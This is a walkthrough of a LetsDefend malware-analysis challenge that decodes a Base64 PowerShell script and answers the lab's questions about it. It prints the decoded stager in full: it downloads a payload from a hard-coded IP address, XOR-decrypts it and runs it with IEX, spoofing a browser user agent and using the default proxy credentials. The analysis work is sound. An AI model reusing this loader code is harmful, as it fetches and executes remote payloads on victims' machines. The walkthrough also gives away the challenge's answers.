Created: 27/02/2024 08:30 Last Updated: 27/02/2024 08:54
You've come across a puzzling Base64 script, seemingly laced with malicious intent. Your mission, should you choose to accept it, is to dissect and analyze this script, unveiling its true nature and potential risks. Dive into the code and reveal its secrets to safeguard our digital realm. Good luck on this daring quest!
Tool Needed: Cyberchef File Location: C:\Users\LetsDefend\Desktop\script.txt
This challenge prepared by ZaadoOfc Credit: csnp.org
After started the machine, let's open the text file to analyze the script.
Here is the result
$WC=New-ObjEcT SySTeM.NET.WebCliENt;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HeADeRS.ADd('User-Agent',$u);
$Wc.ProxY = [System.NeT.WEBReQUEst]::DEFAuLtWebProXy;
$wc.PROxY.CrEdenTialS = [SysTem.NEt.CRedeNTIAlCAcHE]::DeFAULTNetWOrKCredENTiAls;
$K='IM-S&fA9Xu{[)|wdWJhC+!N~vq_12Lty';
$i=0;[CHaR[]]$B=([cHaR[]]($wc.DOwNLOaDStriNg("http://98.103.103.170:7443/index.asp")))|%{$_-BXoR$K[$I++%$k.LEnGTH]};
IEX ($B-jOIn'')
Let's break down each command
1. It creates a .NET Web Client
2. It specifies the user-agent header
3. It configures the proxy to default and set the credentials to network credentials
4. It specifies a key ($K)
5. It downloads string from the http://98.103.103.170:7443/index.asp, store it in character array then use XOR operation with a key probably to decrypt the payload to $B
6. Lastly it executes the payload ($B)
We can now answer all the questions below
What encoding is the malicious script using?
base64
What parameter in the powershell script makes it so that the powershell window is hidden when executed?
-W Hidden
What parameter in the Powershell script prevents the user from closing the process?
-NonI
No user interaction also mean user couldn't close the process because user couldn't see it without task manager or other process listing command.
What line of code allows the script to interact with websites and retrieve information from them?
$WC=New-ObjEcT SySTeM.NET.WebCliENt
What is the user agent string that is being spoofed in the malicious script?
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
What line of code is used to set the proxy credentials for authentication in the script?
$wc.PROxY.CrEdenTialS = [SysTem.NEt.CRedeNTIAlCAcHE]::DeFAULTNetWOrKCredENTiAls
When the malicious script is executed, what is the URL that the script contacts to download the malicious payload?
http://98.103.103.170:7443/index.asp
This script is invoking PowerShell with various parameters to run a PowerShell command or script in a specific manner: without loading the user profile, in a single-threaded apartment, in non-interactive mode, invisibly without displaying a window, and executing a base64-encoded command.
And the base64-encoded command is designed to downloads an encrypted payload from a remote server, decrypts it using a simple XOR operation, and then executes the decrypted payload.